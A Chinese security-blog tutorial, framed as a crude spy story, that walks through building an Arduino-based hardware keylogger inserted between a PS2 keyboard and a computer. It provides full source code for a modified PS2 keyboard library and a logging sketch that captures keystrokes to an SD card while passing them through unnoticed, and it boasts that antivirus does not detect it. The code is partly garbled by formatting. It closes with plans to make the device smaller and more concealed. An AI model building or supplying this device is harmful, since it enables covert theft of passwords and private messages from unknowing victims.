间谍游戏:用Arduino制作硬件键盘记录器

免责声明:本文纯属虚构,本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

间谍游戏:用Arduino制作硬件键盘记录器

星期天的早晨,在睡梦中意淫了一晚上杨尼美的刘尼玛被一阵突如其来的电话铃声所惊醒,不得不骂骂咧咧的爬起来接电话,结果一看号码居然是主管打来的,刘尼玛的瞌睡顿时全醒了,主管在电话中把他劈头盖脸的一顿臭骂。

起因是两天前主管安排刘尼玛去生意伙伴那里取一些资料,并向老总申请了公司的移动硬盘,结果老总今天使用硬盘的时候,杀毒软件报警,从里面查出来200多个木马,气急败坏的老总用谁也听不懂的家乡土话骂了主管的七舅老爷和八姨夫等等各种八竿子打不着的亲戚,憋了一肚子火憋得蛋疼的主管在挨完骂之后立马把电话打给了罪魁祸首刘尼玛,于是刘尼玛的各种八竿子打不着的亲戚外加十八代祖宗也被牵连了…

放下电话的刘尼玛冷汗直流,浑身哆嗦了好久,好不容易稍微平静之后,他手抖着点上了一支烟,却突然发觉内裤湿了,不知是刚才吓尿了还是昨晚梦见和杨尼美用各种姿势翻云覆雨的时候弄湿的。

他恐惧的原因不是因为工作中犯了错误被K了,而是这些木马病毒本身就是身为商业间谍的他故意种进去的,只是因为公司安装了强大的企业版杀毒软件,已经做过免杀的木马还是被查了出来。

“还好没有被发觉,他们都认为我是不小心中的毒”,刘尼玛擦了一把冷汗,一边自言自语一边用密码给总部发了一条信息.

0×01 永远跟不上的大牛脚步

我是总部的Q博士,因为刘尼玛的木马程序被全部查杀,所以他需要一个永远不可能被杀毒软件查到的木马,这个任务自然又落到了我的身上。

刘尼玛碰到的难题并不让我感到意外,杀毒技术的进步使得木马的寿命越来越短了,但是有一群大牛在一直引领着技术革新的潮流,他们总有办法躲过杀毒软件的追杀.

当还是小菜的我好不容易用vb写出第一个木马,加载到注册表开机启动时,大牛嗤之以鼻,他说现在我们都玩进程注入了,这个早过时了;
当我好不容易鼓捣成功dll木马,准备庆贺的时候,大牛又给我泼了一盆冷水,他说现在是bootkit和rootkit的时代,传统的木马已经进历史的垃圾堆了;

当我狂啃下了一堆内核书籍,终于知道rootkit是怎么回事的时候,大牛用嘲笑加可怜的眼神看着我说,你又晚了一步,我们都玩硬件了…

好吧,晚了就晚了,再晚也得跟着走,否则会更落后,现在我们开始探究硬件木马的原理:

硬件木马目前已经发展出了很多种,有截取显卡输出的视频信号并发射的,有植入摄像头悄悄记录的,最常见的是键盘记录器,将键盘偷偷接入键盘记录器,再将记录器插在主机上,就能记录从键盘上输入的数据,比如账号密码,聊天记录等等,而任何杀毒软件都不会检测到。

我们先从键盘的插口开始,我这里没有usb的键盘,所以只研究了ps2口,但usb口的与之类似. ps2口一共有6个针脚: clock时钟、GND接地、DATA数据和5V的供电,剩余的两个是没有使用的保留口,排列顺序如下图所示:

间谍游戏:用Arduino制作硬件键盘记录器

在计算机主机上的ps2是母口的,因此排列顺序与上图正好相反. 这6根线中只有Data和Clock用于数据传输,这样看来键盘记录器的原理其实并不复杂,我们需要一块微控制器和一个存储器,微控制器从键盘的data针脚读取输入数据,存入存储器之后,再通过主机ps2插口上的data输出,如下图所示:

间谍游戏:用Arduino制作硬件键盘记录器

实际上对主机的输出并不一定仍然用ps2口,usb或者串口都可以.
看完上图,也许有人会说这实现起来很难,可能需要用到电路板、电阻、电容等一系列元件和丰富的无线电知识,在很久以前这或许是事实,但现在我们有一个新玩意儿,可以让你在连焊接都不用的情况下就实现上面的设计,它就是arduino.

0×02 什么是Arduino

Arduino实际上就是一种开发板,将微控制器和必需的元件集成在一块电路板上,扩展出完善的接口和针脚,就可以接上各种各样的传感器,完成你心中的设计,你也可以把它理解成一种电子积木,因为它不需要焊接,也不需要高深的无线电知识,只需要编程基础和基本的电路知识即可。

Arduino 不需要知道各种硬件的底层知识,这些底层的调用都已经提前帮你实现好了,而且它使用的是c语言而不是汇编,配有一个官方的IDE和各种硬件的调用库,你只需要按照你自己的设计插接好各种硬件,就可以开始编写程序了,编写完之后烧写入微控制器(在arduino中这称为下载),它们会自动开始运行。

间谍游戏:用Arduino制作硬件键盘记录器       

Arduino本身是一种开源硬件,电路图是公开的,现在官方的和扩展出的各种arduino板子加起来已经有上百种,但其中最基本的仍然是UNO和它的升级版Leonardo,上图就是UNO和Leonardo,我们的设计是基于Leonardo的.
Aduino的官方网站:http://www.arduino.cc,要进行下面的内容,请在此下载arduino的官方IDE并安装,在IDE安装目录的drivers子目录中,有烧写arduino所需要的usb转串口驱动,必须要先安装驱动才能开始编程.
(有关arduino的其他具体细节请自行google,这里只做基本介绍)

0×03 连接硬件

Arduino 的右边有一排针脚,从0到13,除了0和1被RX和TX占用之外,其余的都可以用来扩展各种硬件,我们先把PS2的键盘和arduino连起来:

首先准备四根杜邦线,为了避免混淆,我采用和前面原理图中一样的颜色,把红线从键盘PS2口的5V针脚接入板子上左侧的5V针脚,把两端的GND用黑线连接起来,黄线从Clock针脚接入板子上的3号针脚,棕黄色线从DATA针脚接入板子上的5号针脚(3号和5号并不是确定的,在后面我们编写的程序中定义几号针脚,这里就接几号):

间谍游戏:用Arduino制作硬件键盘记录器

间谍游戏:用Arduino制作硬件键盘记录器

然后将arduino的miniUSB输出连接到电脑上的USB口,在电脑上安装USB转串口驱动,打开arduino IDE,在设置中设定好串口号,开始编写程序。

间谍游戏:用Arduino制作硬件键盘记录器

0×04 键盘输入的原理

在编写程序之前,先要了解键盘和计算机之间是如何传输数据的。通过前面的内容,我们已经知道键盘与计算机之间其实是通过四根线连接的,除去电源和接地,起作用的实际上是时钟和数据,它们同时向计算机发送电信号. 而要将数据发送给计算机,键盘会同时检查这两根线路,只有确认它们都处于高位时,键盘才会发送数据,只要其中有一根处于低位,键盘就会认为其他设备正在发送数据,从而继续等待。

从键盘所发出的数据是一个11位的结构,如下图所示:

间谍游戏:用Arduino制作硬件键盘记录器

起始位的值一直固定为0,后面有8个数据位,这就是每按下一个键所发送的数据了,在每当时钟脉冲下降时就会从最小显著位开始发送,直到最高显著位为止,按下不同的键,各个时钟脉冲下降的规律也会不同,时钟脉冲的校验值每当脉冲到达一次低位就与1进行一次左移运算,同时每当数据脉冲与时钟脉冲同时到达高位时,二者的校验值就进行一次按位或运算,最后循环运算的结果就是所发送给计算机的按键值。

在数据位后面跟着的是一个奇偶校验位和一个停止位,停止位的值总是1,这两个值其实是可以忽略的。
这里用一段示例的demo程序来说明

1.  /*  2.  * ps2.h  3.  */  4.     5.  #include"Arduino.h"  6.     7.  class PS2  8.  {  9.        public:  10.              PS2(intclk, int data);  11.             unsigned char read(void);  12.      private:  13.              int_ps2clk;  14.              int_ps2data;  15.};  16.   17./*  18.* ps2.cpp  19.*/  20.#include"ps2.h"  21.   22.PS2::PS2(int clk, intdata) //初始化,设置时钟和数据位的针脚  23.{  24.      _ps2clk = clk;  25.      _ps2data = data;  26.}  27.   28.unsigned charPS2::read(void)  29.{  30.      unsigned char data = 0×00;  31.      unsigned char i;  32.      unsigned char bit = 0×01;  33.   34.      pinMode(_ps2clk, INPUT);  35.      digitalWrite(_ps2clk, HIGH);   36.      pinMode(_ps2data, INPUT);  37.      digitalWrite(_ps2data, HIGH); //以上把时钟和数据均设置为高位,开始接受输入  38.      delayMicroseconds(50);  39.      while (digitalRead(_ps2clk) ==HIGH)  40.      ;  41.      delayMicroseconds(5);  42.      while (digitalRead(_ps2clk) ==LOW) //起始位的部分什么也不做,直接跳过  43.      ;  44.      for (i=0; i < 8; i++) //循环读取数据位  45.      {  46.              while(digitalRead(_ps2clk) ==HIGH)  47.                    ;  48.              if(digitalRead(_ps2data)==HIGH)  //当时钟和数据线路均为高位时开始计算  49.              {  50.                    data =data | bit; //两个值进行一次按位或运算  51.              }  52.              while(digitalRead(_ps2clk) == LOW)  53.                    ;  54.              bit =bit << 1;  //时钟脉冲每到达一次低位就与1进行一次左移运算  55.      }  56.      while (digitalRead(_ps2clk) ==HIGH)  57.      ;  58.      while (digitalRead(_ps2clk) ==LOW) //跳过校验位  59.      ;  60.      while (digitalRead(_ps2clk) ==HIGH)  61.      ;  62.      while (digitalRead(_ps2clk) ==LOW) //跳过停止位  63.      ;  64.      pinMode(_ps2clk, OUTPUT);  65.      digitalWrite(_ps2clk, LOW); //全部读取完毕,将时钟设为低位  66.      return data;  67.}

在arduino IDE所在路径的libraries子目录下新建一个ps2文件夹,把以上两个源文件拷贝进去,然后打开IDE,它们就能以开发库的形式被调用。
在IDE中新建一个程序文件

1. #include<ps2.h>  2.    3. PS2 kbd(3, 5); //设置针脚为我们前面插入板子的3号和5号  4.    5. void setup()  6. {  7.   Serial.begin(9600);  8.   kbd.read();  9.   kbd.read();//进行两次测试  10.}  11.void loop()  12.{  13.  unsignedcharcode;    14.  for(;;) {   15.    code =kbd.read();  16.   Serial.println(code);//读取键盘输入并输出到串口显示  17.  }  18.}

将以上代码编译并下载到arduino,然后打开一个串口调试器,按下键盘上的任一个键(功能键除外),串口中都会有输出。

0×05 完整的实现

我们已经知道,键盘记录器通过三个步骤记录按键:截取输入-存入存储器-发送到计算机,我们已经知道了截取输入的原理,但其具体的实现要比上面这个demo程序复杂的多,所幸的是,我们有现成的开发库可以利用:点我点我!!

这是arduino官方所推荐的第三方ps2键盘库,实现了基本的数字、字母和各种符号的输入,截获的按键代码直接转换成每个键的ascii值,但缺点是支持的功能键很少,有些键按照其中的规则定义,会互相产生冲突,比如F1-F12键,就与从p到z的一组字母冲突,因为在键盘ascii码标准中它们的值是一样的,使用时需要增加额外的规则来判定,为此,我对这个库做了修改,实现了ctrl和字母的组合,alt和字母的组合,不冲突的F1-F12功能键,大小写切换以及原来库里面已经实现的翻页和上下等特殊键,由于该开发库基于GPL协议开源,那我修改后的版本也使用同样的协议开放源代码,代码如下,如果你懒得看代码,在本文的最后有下载地址,下载后直接放在libraries子目录里即可。

/*    *  PS2Keyboard.h    *  Arduino PS2键盘支持库    *  修改自http://www.pjrc.com/teensy/arduino_libraries/PS2Keyboard.zip  * 修改者:b41k3r  * 基于GPLv2开源  */  #ifndef PS2Keyboard_h  #define PS2Keyboard_h     #include <avr/io.h>  #include<avr/interrupt.h>  #include<avr/pgmspace.h>  #if defined(ARDUINO)&& ARDUINO >= 100  #include"Arduino.h"  #else  #include"WProgram.h"  #endif  #definePS2_TAB                               9 //这些定义完全按照这些键对应的ascii值  #definePS2_ENTER                             13  #definePS2_BACKSPACE                       8  #definePS2_CAPS_LOCK              20  #definePS2_SHIFT                  16  #definePS2_LINEFEED                       10  #definePS2_ESC                               27  #definePS2_INSERT                             45  #definePS2_DELETE                             127  #definePS2_HOME                             36  #definePS2_END                             35  #definePS2_PAGEUP                             33  #definePS2_PAGEDOWN                       34  #definePS2_UPARROW                             38  #definePS2_LEFTARROW                       37  #definePS2_DOWNARROW                       40  #definePS2_RIGHTARROW                       39  #definePS2_F1                               -12 //为了避免冲突,将F1-F12的值重新定义为了负值  #definePS2_F2                               -13  #definePS2_F3                               -14  #definePS2_F4                               -15  #definePS2_F5                               -16  #definePS2_F6                               -17  #definePS2_F7                               -18  #definePS2_F8                               -19  #definePS2_F9                               -20  #definePS2_F10                               -21  #definePS2_F11                               -22  #definePS2_F12                               -23  #definePS2_SCROLL                         0  /*  *  这段本来定义的是各种语言的键盘中的特殊字符,基本上没有用,在这里为了不占篇幅去掉,详细源  *  代码请看文后的下载地址  */  #define PS2_KEYMAP_SIZE136  typedef struct {         uint8_tnoshift[PS2_KEYMAP_SIZE];         uint8_tshift[PS2_KEYMAP_SIZE];         uint8_tuses_altgr;         uint8_taltgr[PS2_KEYMAP_SIZE];  } PS2Keymap_t;  extern const PROGMEMPS2Keymap_t PS2Keymap_US;  extern const PROGMEMPS2Keymap_t PS2Keymap_German;  class PS2Keyboard {    public:     PS2Keyboard();      staticvoidbegin(uint8_t dataPin, uint8_t irq_pin,const PS2Keymap_t &map=PS2Keymap_US);      staticboolavailable();      staticintread();      intreadIt();     intgetCombinationKey();  };  #if!defined(CORE_INT0_PIN)  #ifdefined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)// ArduinoMega  #defineCORE_INT0_PIN 2  #defineCORE_INT1_PIN 3  #defineCORE_INT2_PIN 21  #defineCORE_INT3_PIN 20  #defineCORE_INT4_PIN 19  #defineCORE_INT5_PIN 18  #elifdefined(__AVR_ATmega644P__) ||defined(__AVR_ATmega644__) // Sanguino  #defineCORE_INT0_PIN 10  #defineCORE_INT1_PIN 11  #defineCORE_INT2_PIN 2  #elifdefined(__AVR_ATmega32U4__) // Leonardo  #define CORE_INT0_PIN 3  #define CORE_INT1_PIN 2  #define CORE_INT2_PIN 0  #define CORE_INT3_PIN 1  #else  //ArduinoDuemilanove, Diecimila, LilyPad, Mini, Fio, etc…  #defineCORE_INT0_PIN 2  #defineCORE_INT1_PIN 3  #endif  #endif  #endif     /*  *  PS2Keyboard.cpp  *  Arduino PS2键盘支持库  *  修改自http://www.pjrc.com/teensy/arduino_libraries/PS2Keyboard.zip  *  修改者:b41k3r  *  基于GPLv2开源  */     #include"PS2Keyboard.h"     #define BUFFER_SIZE 45  static volatile uint8_tbuffer[BUFFER_SIZE];  static volatile uint8_thead, tail;  static uint8_t DataPin;  static uint8_tCharBuffer=0;  static uint8_tUTF8next=0;  static const PS2Keymap_t*keymap=NULL;  intCombinationKey=0; //增加了一个参数,用来判定按下的是否是功能键和组合键     voidps2interrupt(void) //读取键盘输入的函数,基本原理同前面的demo程序  {         staticuint8_t bitcount=0;         staticuint8_t incoming=0;         staticuint32_t prev_ms=0;         uint32_tnow_ms;         uint8_t n,val;         val =digitalRead(DataPin);         now_ms =millis();         if (now_ms- prev_ms > 250) {                 bitcount=0;                 incoming=0;         }         prev_ms =now_ms;         n =bitcount – 1;         if (n <=7) {                 incoming|=(val << n);         }         bitcount++;         if(bitcount == 11) {                 uint8_ti= head + 1;                 if(i>= BUFFER_SIZE) i = 0;                 if(i!= tail) {                         buffer[i]=incoming;                         head= i;                 }                 bitcount=0;                 incoming=0;         }  }     static inline uint8_tget_scan_code(void)  {         uint8_t c,i;         i = tail;         if (i ==head) return 0;         i++;         if (i >=BUFFER_SIZE) i = 0;         c =buffer[i];         tail = i;         return c;  }     const PROGMEM PS2Keymap_tPS2Keymap_US = {  //预先定义好键盘上所有的常用键所对应的值    // without shift         {0, PS2_F9,0, PS2_F5, PS2_F3,PS2_F1, PS2_F2, PS2_F12,         0, PS2_F10,PS2_F8, PS2_F6,PS2_F4, PS2_TAB, '`', 0,         0, 0/*Lalt*/, PS2_SHIFT, 0, 0/*Lctrl*/, 'q','1',0,         0, 0, 'z','s','a', 'w', '2',0,           0, 'c','x', 'd', 'e', '4', '3',0,           0, ' ','v', 'f', 't', 'r', '5',0,           0, 'n','b', 'h', 'g', 'y', '6',0,           0, 0, 'm','j', 'u', '7', '8',0,           0, ',','k', 'i', 'o', '0', '9',0,           0, '.','/', 'l', ';', 'p', '-',0,           0, 0, '/'',0, '[', '=', 0, 0,           PS2_CAPS_LOCK,PS2_SHIFT,PS2_ENTER /*Enter*/, ']', 0, '//', 0, 0,           0, 0, 0, 0,0, 0, PS2_BACKSPACE,0,           0, '1', 0,'4', '7', 0, 0, 0,           '0', '.','2', '5', '6', '8',PS2_ESC, 0 /*NumLock*/,           PS2_F11,'+', '3', '-', '*','9', PS2_SCROLL, 0,           0, 0, 0,PS2_F7 },      // with shift           {0, PS2_F9,0, PS2_F5, PS2_F3,PS2_F1, PS2_F2, PS2_F12,           0, PS2_F10,PS2_F8, PS2_F6,PS2_F4, PS2_TAB, '~', 0,           0, 0/*Lalt*/, PS2_SHIFT, 0, 0/*Lctrl*/, 'Q', '!', 0,           0, 0, 'Z','S', 'A', 'W', ,         0, 'C','X', 'D', 'E', ', '#',0,           0, ' ','V', 'F', 'T', 'R', '%',0,           0, 'N','B', 'H', 'G', 'Y', '^',0,           0, 0, 'M','J', 'U', '&','*', 0,           0, '<','K', 'I', 'O', ')','(', 0,           0, '>','?', 'L', ':', 'P','_', 0,           0, 0,'"', 0, '{', '+', 0,0,           PS2_CAPS_LOCK,PS2_SHIFT,PS2_ENTER /*Enter*/, '}', 0, '|', 0, 0,           0, 0, 0, 0,0, 0, PS2_BACKSPACE,0,           0, '1', 0,'4', '7', 0, 0, 0,           '0', '.','2', '5', '6', '8',PS2_ESC, 0 /*NumLock*/,           PS2_F11,'+', '3', '-', '*','9', PS2_SCROLL, 0,          0, 0, 0,PS2_F7 },         0  };     #defineBREAK    0×01  #defineMODIFIER 0×02  #defineSHIFT_L  0×04  #defineSHIFT_R  0×08  #defineALTGR    0×10  #defineCTRL     0×20     static charget_iso8859_code(void)  {         staticuint8_t state=0;         uint8_t s;         char c;         while (1) {                 s=get_scan_code();                 if(!s)return 0;                 if(s== 0xF0) {                         state|=BREAK;                 }elseif (s == 0xE0) {                         state|=MODIFIER;                 }else{                         if(state& BREAK) {                                 if(s == 0×12){                                         state&=~SHIFT_L;                                 }else if (s ==0×59) {                                         state&=~SHIFT_R;                                 }else if (s ==0×14) {                                         state&=~CTRL;                                 }else if (s ==0×11) {                                         state&=~ALTGR;                                 }                                 state&=~(BREAK | MODIFIER);                                 continue;                         }                         if(s== 0×12) {                                 state|=SHIFT_L;                         CombinationKey=3;                                 continue;                         }elseif (s == 0×59) {                                 state|=SHIFT_R;                                 continue;                         }elseif (s == 0×14) {                                 state|=CTRL;                                 continue;                         }elseif (s == 0×11) {                                 state|= ALTGR;                         }                         c=0;                         if(state& MODIFIER) {                                 switch(s) {                                   case0×70: c= PS2_INSERT;      break;                                   case0x6C: c= PS2_HOME;        break;                                   case0x7D: c= PS2_PAGEUP;      break;                                   case0×71: c= PS2_DELETE;      break;                                   case0×69: c= PS2_END;         break;                                   case0x7A: c= PS2_PAGEDOWN;    break;                                   case0x75:c =PS2_UPARROW;     break;                                   case0x6B: c= PS2_LEFTARROW;   break;                                   case0×72: c= PS2_DOWNARROW;   break;                                   case0×74: c= PS2_RIGHTARROW;  break;                                   case0x4A: c= &#039;/&#039;;            break;                                   case0x5A: c= PS2_ENTER;       break;                                   default:break;                                 }                         }elseif (state & (SHIFT_L | SHIFT_R)) {                                 if(s <PS2_KEYMAP_SIZE)                                         c=pgm_read_byte(keymap->shift + s);                         }else{                                 if(s< PS2_KEYMAP_SIZE)                                         c=pgm_read_byte(keymap->noshift + s);                         }                         if(state& CTRL) { //ctrl加字母组合键                 CombinationKey=1;                                 if(c>= 'A' && c <='Z')                               c=0-c;                                 elseif (c>= 'a' && c <= 'z')                               c=0-c;                                 elseif (c ==PS2_ENTER)                                         c=PS2_LINEFEED;                         }                         if(state& ALTGR) { //alt加字母组合键                 CombinationKey=2;                                 if(c >= 'A'&& c <= 'Z')                               c=0-c;                                 elseif (c>= 'a' && c <= 'z')                               c=0-c;                                 elseif (c ==PS2_ENTER)                                         c=PS2_LINEFEED;                         }                         state&=~(BREAK | MODIFIER);                         if(c)return c;                 }         }  }     intPS2Keyboard::getCombinationKey() {       returnCombinationKey;  }     boolPS2Keyboard::available() {         if(CharBuffer || UTF8next)return true;         CharBuffer= get_iso8859_code();         if(CharBuffer) return true;         return false;  }     int PS2Keyboard::readIt(){        returnread();  }     int PS2Keyboard::read() {         uint8_tresult;         result =UTF8next;         if (result){                 UTF8next=0;         } else {                 result=CharBuffer;                 if(result){                         CharBuffer=0;                 }else{                         result=get_iso8859_code();                 }                 if(result>= 128) {                   if(result>= 233 && result <= 244) //F1-F12的输入判定                     {                         CombinationKey=result;                     }else                     {                                     UTF8next=(result & 0x3F) | 0×80;                                     result=((result >> 6) & 0x1F) | 0xC0;                     }                 }         }         if(!result) return -1;         returnresult;  }     PS2Keyboard::PS2Keyboard(){    // nothing todohere, begin() does it all  }     void PS2Keyboard::begin(uint8_tdata_pin, uint8_tirq_pin, constPS2Keymap_t &map) {    uint8_tirq_num=0;       DataPin =data_pin;    keymap =&map;     #ifdef INPUT_PULLUP   pinMode(irq_pin,INPUT_PULLUP);   pinMode(data_pin,INPUT_PULLUP);  #else   pinMode(irq_pin,INPUT);   digitalWrite(irq_pin,HIGH);   pinMode(data_pin,INPUT);   digitalWrite(data_pin,HIGH);  #endif       switch(irq_pin) {     #ifdefCORE_INT0_PIN     caseCORE_INT0_PIN:       irq_num = 0;       break;      #endif     #ifdefCORE_INT1_PIN     caseCORE_INT1_PIN:       irq_num = 1;       break;      #endif     #ifdefCORE_INT2_PIN     caseCORE_INT2_PIN:       irq_num = 2;       break;      #endif     #ifdefCORE_INT3_PIN     caseCORE_INT3_PIN:       irq_num = 3;       break;      #endif     #ifdefCORE_INT4_PIN     caseCORE_INT4_PIN:       irq_num = 4;       break;      #endif     #ifdefCORE_INT5_PIN     caseCORE_INT5_PIN:       irq_num = 5;       break;      #endif     #ifdefCORE_INT6_PIN     caseCORE_INT6_PIN:       irq_num = 6;       break;      #endif     #ifdefCORE_INT7_PIN      caseCORE_INT7_PIN:       irq_num = 7;       break;      #endif     default:       irq_num = 0;       break;    }    head = 0;    tail = 0;   attachInterrupt(irq_num,ps2interrupt, FALLING);}

键盘输入的库有了,接下来第二步是将上面所截获的数据存入存储器,arduino自身提供了EEPROM存储器,但是容量仅仅只有1k,这样小的空间显然不能满足我们的要求,但arduino本是就是为扩展各种功能而设计出来的,为此我们为它加入一块sd卡扩展板,将键盘数据存储在sd卡中,这里我选用seeed studio的SD Shield(这种扩展板市面上有很多,只要是支持arduino的,买来都能用),扩展板的安装极为简单,只需按照针脚位置对接插入,如下图所示:

间谍游戏:用Arduino制作硬件键盘记录器

这些为arduino定制的扩展板都有很好的兼容性,所以只要插上,然后用现成的SD卡库开发一段存储程序即可。

接下来是如何将截获的键值发送到计算机的问题,这个问题自从arduino升级到leonardo,官方已经提供了完整的支持(这也是我们的设计基于leonardo的原因),这个新增的keyboard库可以用很简单的代码模拟键盘向计算机输入数据。

好,现在万事具备,只差一段最后的程序了:

1.    2. /*  Name:arduinoPS2键盘记录器程序  3. *  Author:b41k3r  4. *  Update:2014-01-10  5.    6. *  Version:0×06  7. */     8. #include<PS2Keyboard.h>  9. #include<SD.h>   //引用SD卡读写官方库  10.   11.const int DataPin = 5;  12.const intIRQpin=  3;  //设置数据和时钟针脚  13.File RecordFile;   //定义文件写入  14.StringrecordTemp="[Begin]";//监听的临时参数,每监听到一个键就加在此字符的后面,并设定每次监听的开头为[Begin]  15.PS2Keyboard kbd;  //PS2Keyboard 类实例化  16.void setup() {  17.  Keyboard.begin();//向计算机发送按键信号准备开始  18.  kbd.begin(DataPin,IRQpin,PS2Keymap_US);  //设置键盘为标准的美国101  19.  Serial.begin(9600);  20.  pinMode(10,OUTPUT);  21.  if(!SD.begin(4)) {  22.  Serial.println("Initialization failed!");  23.  }  24.  RecordFile=SD.open("record.txt",FILE_WRITE);  //在SD卡建立文件,准备写入  25.}  26.   27.void loop() {   //开始循环监听  28.if (kbd.available()) {  29.  char c=kbd.readIt();   //读取输入的键  30.  intCombinationKey =kbd.getCombinationKey();  31.  if(c<0)  32.   {  //CombinationKey=2和1代表alt和ctrl两种组合键  33.     if(CombinationKey==2)  34.      {  35.         Keyboard.press(KEY_LEFT_ALT);  36.          Keyboard.press(abs(c));  37.          delay(100);  38.         Keyboard.releaseAll();  39.      }else if (CombinationKey==1)  40.      {  41.         Serial.println(abs(c));  42.         Keyboard.press(KEY_LEFT_CTRL);  43.         Keyboard.press(abs(c));  44.          delay(100);  45.         Keyboard.releaseAll();  46.      }else if(CombinationKey>=233&&CombinationKey<=244)  //代表F1-F12  47.      {  48.        Serial.println(CombinationKey);  49.        switch (CombinationKey) {  50.            case244:  KeyPress(KEY_F1);  break;  51.            case243:  KeyPress(KEY_F2);  break;  52.            case242:  KeyPress(KEY_F3);  break;  53.            case241:  KeyPress(KEY_F4);  break;  54.            case240:  KeyPress(KEY_F5);  break;  55.             case239:  KeyPress(KEY_F6);  break;  56.            case238:  KeyPress(KEY_F7);  break;  57.            case237:  KeyPress(KEY_F8);  break;  58.            case236:  KeyPress(KEY_F9);  break;  59.             case235:  KeyPress(KEY_F10); break;  60.             case234:  KeyPress(KEY_F11); break;  61.             case233:  KeyPress(KEY_F12); break;  62.             default:   break;  63.        }  64.   65.      }  66.    }  67.  else{   68.      switch (c) {  //其余的功能键  69.              casePS2_ENTER:    KeyPress(KEY_RETURN);     break;  70.              casePS2_TAB:      KeyPress(KEY_TAB);      break;  71.              casePS2_BACKSPACE:KeyPress(KEY_BACKSPACE);break;  72.              casePS2_SHIFT:    KeyPress(KEY_LEFT_SHIFT);  break;  73.              casePS2_ESC:       KeyPress(KEY_ESC);       break;  74.             casePS2_PAGEDOWN:  KeyPress(KEY_PAGE_DOWN);   break;  75.              casePS2_PAGEUP:    KeyPress(KEY_PAGE_UP);    break;  76.            casePS2_LEFTARROW:  KeyPress(KEY_LEFT_ARROW);  break;  77.             casePS2_RIGHTARROW:KeyPress(KEY_RIGHT_ARROW); break;  78.             casePS2_UPARROW:    KeyPress(KEY_UP_ARROW);   break;  79.             casePS2_DOWNARROW:  KeyPress(KEY_DOWN_ARROW);  break;  80.              casePS2_DELETE:    KeyPress(KEY_DELETE);     break;  81.            casePS2_CAPS_LOCK:  KeyPress(KEY_CAPS_LOCK);   break;  82.              casePS2_HOME:      KeyPress(KEY_HOME);      break;  83.              casePS2_END:       KeyPress(KEY_END);       break;  84.             casePS2_INSERT:    KeyPress(KEY_INSERT);    break;  85.             default:   //只有输入字符的时候才开始记录  86.             if(recordTemp.length()>27) //为了优化记录速度,recordTemp每截获20个字符才写入record.txt文件一次(包含了开头的[Begin],所以是27),这个值可以任意设置  87.              {  88.               if (RecordFile)  89.                 {  90.                  recordTemp.concat("[End]");  91.                  RecordFile.println(recordTemp);  92.                  RecordFile.close();  93.                  Serial.println("Writing tofiledone."); //到达20个字符后保存并关闭文件  94.                 } else {  95.                  Serial.println("Error writingfile.");  96.                 }  97.               recordTemp="[Begin]"; //保存后重新打开,开始下一轮记录,recordTemp值复位  98.                 RecordFile=SD.open("record.txt", FILE_WRITE);  99.              }else  100.                  {  101.                    recordTemp.concat(c);  //如果不满20个字符,则将记录的键加入recordTemp之后  102.                  }  103.                  KeyPress(c);  //监听完后把按键信号发送到计算机  104.             }  105.       }  106.     }  107.     }  108.     void KeyPress(charc)  //按键函数  109.     {  110.       Keyboard.press(c);  111.        delay(50);  112.        Keyboard.release(c);  113.   }

把上面的程序编译并下载到arduino运行,键盘输入的字符被成功的记录到了SD卡中,而杀毒软件没有任何的反应:

间谍游戏:用Arduino制作硬件键盘记录器

0×06 需要改进的地方

1. 实现的功能键还不完整,比如三键组合还没实现,需要进一步开发.  2. 不能一直用杜邦线连接PS2口,这样既不方便也不隐蔽,下一步要用PS2母口连接.  3. 目前是从PS2输入,连接计算机是USB输出,下一步要实现连接计算机也用PS2.  4. 体积还有点大,正在研究用U盘大小的Arduinopromini替换leonardo.

结尾

在又一个阳光明媚的周末,刘尼玛随着晨练的人群来到了江边,今天组织将派人与他接头,交给他所需要的东西,接头人代号叫冷爱。刘尼玛一边在江边踱着步,一边焦急的等待,这时,一辆黑色的轿车缓缓停在了不远处,从车上下来一位身穿紧身皮衣,高挑性感的美女,径直走向了刘尼玛,刘尼玛的心砰砰直跳,他用一只手捂着鼻子,防止鼻血喷出来,另一只手放在了胸口。

“你穿什么样的内裤?” 美女来到刘尼玛的身边,冷冷的问道,这是约好的接头暗号。  “粉红色的平角裤头。” 刘尼玛回答道。  美女点了点头,把手中的一个小盒子交给了刘尼玛,刘尼玛心里狂喜着:“原来冷爱是个大美女啊,待会要想办法约她吃饭。”

不料冷爱送完盒子转身就走,连头也不回,刘尼玛想要叫住她,她已经上了车,扬长而去….,留下怅然若失的刘尼玛一个人在江边站了良久。

版权声明:此文章作者为红客联盟(cnhoneker.com)攻防版区版主b41k3r所写,经b41k3r同意发到Freebuf,所有带色内容与转载小可爱无关~~

[作者/b41k3r,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]